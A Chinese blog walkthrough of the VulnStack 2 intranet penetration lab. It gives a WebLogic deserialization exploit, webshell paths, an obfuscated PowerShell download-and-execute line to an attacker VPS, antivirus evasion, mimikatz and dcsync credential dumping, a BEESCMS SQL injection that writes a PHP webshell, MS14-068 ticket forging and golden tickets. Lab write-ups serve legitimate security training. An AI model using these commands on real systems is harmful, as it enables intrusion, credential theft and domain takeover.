内网渗透靶机-VulnStack 2

原创
2020/07/10 16:28
阅读数 8.2K


WEB服务器:windows2008系统

外网网卡IP:192.168.1.152
内网网卡IP:10.10.10.80

域成员:windows server 2003系统
网卡IP:10.10.10.200

域控服务器:windows server 2008系统

网卡IP:192.168.52.138

攻击机器:kali windows 10

kali IP:192.168.1.112
CobaltStrike服务器IP:192.168.1.108

Weblogic反序列化远程代码执行漏洞获取webshell

这个靶机一开始在登陆web机器的时候输入作者提示的登陆密码不能登陆,然后我就使用administrator登陆进去把web机器的密码修改为作者说的密码了!进去之后需要启动Weblogic。路径在C:OracleMiddlewareuser_projectsdomainsbase_domain里面。这里面有一个批处理点击即可。接着到攻击机器来,使用nmap扫描目标机器,扫描到了7001端口是weblogic。

使用weblogic扫描工具扫描一波发现了有反序列化漏洞。

https://github.com/rabbitmask/WeblogicScan

这里扫描除了两个CVE漏洞

访问一下存在漏洞的地址,接着抓包写入poc

http://192.168.1.152:7001/_async/AsyncResponseService

使用poc来验证一下。github上面有poc

https://github.com/lufeirider/CVE-2019-2725

可以看到可以执行命令

接下来的话直接让他上线CobaltStrike。

返回200成功,但是等了很久很久都没有CobaltStrike都没上线,接着查看进程发现了有360安全卫士。我刚刚给的powershell应该被360拦截了

使用weblogic利用工具上传shell上去,上传需要找到几个点,获取物理路径,如下面三种:
第一个方法是把shell写到uddiexplorer目录中

\Oracle\Middleware\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\uddiexplorer\随机字符\war\shell.jsp

目录写入木马,

访问 http://*.*.*.*:7001/uddiexplorer/shell.jsp

第二个方法是把shell写在应用安装目录中

\Oracle\Middleware\user_projects\domains\application\servers\AdminServer\tmp\_WL_user\项目名\随机字符\war\shell.jsp

目录写入木马,

访问 http://*.*.*.*:7001/项目名/shell.jsp

第三个方法是把shell写到控制台images目录中

\Oracle\Middleware\wlserver_10.3\server\lib\consoleapp\webapp\framework\skins\wlsconsole\images\shell.jsp

接着在这个目录上传木马

上传成功,访问路径:

 http://*.*.*.*:7001/console/framework/skins/wlsconsole/images/shell.jsp

连接冰蝎成功!!

webshell上线Cobaltstrike

首先这里我使用了对powershell的代码进行混淆,首先生成powershell的payload,然后使用powershell脚本混淆工具进行混淆。地址如下:

https://github.com/danielbohannon/Invoke-Obfuscation

接着使用这个工具对powershell脚本混淆一下

接着在对powershell命令在进行混淆一次:参考师傅文章:https://xz.aliyun.com/t/7903

powershell -NoExit "$c1='IEX(New-Object Net.WebClient).Downlo';$c2='123(''http://VPS_IP:port/1.ps1'')'.Replace('123','adString');IEX ($c1+$c2)"

之后再使用powershell命令就可以让对方上线了。

使用systeminfo可以查看到系统的信息,当前的域是处在web域中,是一台windows server 2008的服务器。并且打的补丁比较少

查看网络信息,这里是双网卡,内网是10.10.10.0/24网段。

提权的话这里使用了ms15-051。这里CS有带这个提权,尝试一下后直接提取成功了。

直接使用mimikatz获取到系统的密码凭证。

由于对方有360的话,每当执行一些敏感的命令都会有提醒阻止的。可以使用使用argue参数污染,这里把net1参数进行污染。

参数进行污染之后就可以使用execute参数进行添加用户。

查看对方开启了3389端口之后,可以使用刚刚创建的用户进行远程桌面登陆

使用Ladon插件对网段进行扫描,这里可以发现DC.delay.com可能是域控。

在刚刚ipconfig获取的域控域名进行ping测试,发现返回的IP的确就是10.10.10.10

接着使用代理进入内网探测,使用Venom代理工具进行代理。在具有具有独立IP的机器上面执行命令:

admin.exe -lport 6666

把agent.exe上传到对方机器上面,执行如下命令,使对方回连主机。

agent.exe -rhost 回连主机IP -rport 6666

之后在回连主机上面就可以看到有新的连接已经连接进来了,之后进入这个节点。使用socks 1080建立一个代理的端口。

进入使用Proxifier挂上代理,端口就是刚刚设置的1080。挂上代理之后使用端口扫描工具对10.10.10.201这个IP进是端口扫描,对方开启了80,445和3389端口。

内网PC获取shell

访问10.10.10.201的80端口,发现是一个BEESCMS的系统,在网上搜索了之后发现v4.0版本存在后台的登陆框注入漏洞。

使用dirsearch对网站进行扫描,扫描发现了后台登陆和i.php文件,i.php文件大概率就是phpinfo了吧

BESCMS后台存在注入,直接在账号这里输入单引号可以直接报错。

根据网上的提供的漏洞信息是可以直接写入一句话进去的,这里试着访问i.php发现真的就是phpinfo的页面,从phpinfo泄露的信息来看这里就是网站的根目录了。

对这个注入进行判断字段数,发现有五个字段,在第五字段的时候不报错了!显示密码不正确!

根据网上的对BESSCMSv4.0的利用手法,写入一句话木马进去,在写入一句话的时候需要对shell的payload进行编码转换。已经知道了根目录,直接写入一句话到目标的网站根目录上面。并且需要的条件是secure_file_priv为空才能写入。

admin' uni union on selselectect null,null,null,null,0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e  in into  outoutfilefile 'C:/tongda/PHPTutorial/WWW/netstat/s.php'#

接着查看一些是否已经写入成功,很顺利这已经写入shell成功了。而且好像这里还出现了管理员的账号和密码。

之后直接使用菜刀进行连接即可。

接着在已经获取的beacon中设置一个中转的监听,让内网的机器会连的时候会连到可以出网的WEB服务器上面。

接着生成一个中转监听的木马,并且上传到内网PC的机器上面执行。

接着这里的代理连就已经完成了。内网的PC依靠着WEB传递数据出去。

既然返回回来的已经是要给高权限了,那就可以直接获取PC里面的凭借密码。

既然密码一样的那可以尝试一下是否可以PTH获取内网PC的主机。但是这里显示不能获取。

获取域控的权限

既然已经有了域普通用户的的哈希,如果域控存在ms14-068漏洞的话普通用户的权限是可以提升为域控权限的,首先需要有域用户的SID值

使用命令制作一张票据出来。

MS14-068.exe -u administrator@de1ay.com -p 1qaz@WSX. -s S-1-5-21-2756371121-2868759905-3853650604-500 -d 10.10.10.10

参数说明:

- -u 域账号+@+域名称,这里是WEB+@+de1ay.com
- -p 为当前用户的密码,即WEB的密码
- -s为hello的SID值,可以通过whoami /all来获取用户的SID值
- -d为当前域的域控

执行成功之后会在当前目录下生成一个.ccache的文件。接着清除凭证信息,在CS中可以直接使用命令
kerberos_ticket_purge,接着将票据注入到内存当中

额这就有点!!!什么鬼啊!

接着尝试一下PTH直接传递哈希过去看看域控能否上线吧!最后还是PTH上线了

由于是Windows 2012的系统,并不能直接获取到明文的密码。可以通过修改注册表来获取明文密码

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f

这里我就不修改注册表了,如果修改的话需要对方注销或者重启才有效

接着制作黄金票据。使用命令把krbtgt的密码HASH值获取出来,一下两条命令都可以获取krbtgt密码

lsadump::dcsync /domain:de1ay.com /user:krbtgt

LsaDump::dcsync /domain:de1ay.com /all /csv

接着使用CobaltStrike自带的黄金票据来生成GoldenTicket

最后再把上传的文件和webshell删除,再把一下痕迹擦测,这里有一位师傅的博客写的很好https://blog.csdn.net/bylfsj/article/details/102565586

今天也是特别的日子,昨天也是哈哈哈!炎日的夏天在经历暴雨的冲洗,换来清爽加上美丽的晚霞!



本文分享自微信公众号 - 黑白天(li0981jing)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。

展开阅读全文
加载中
点击引领话题📣 发布并加入讨论🔥
打赏
0 评论
0 收藏
0
分享
返回顶部
顶部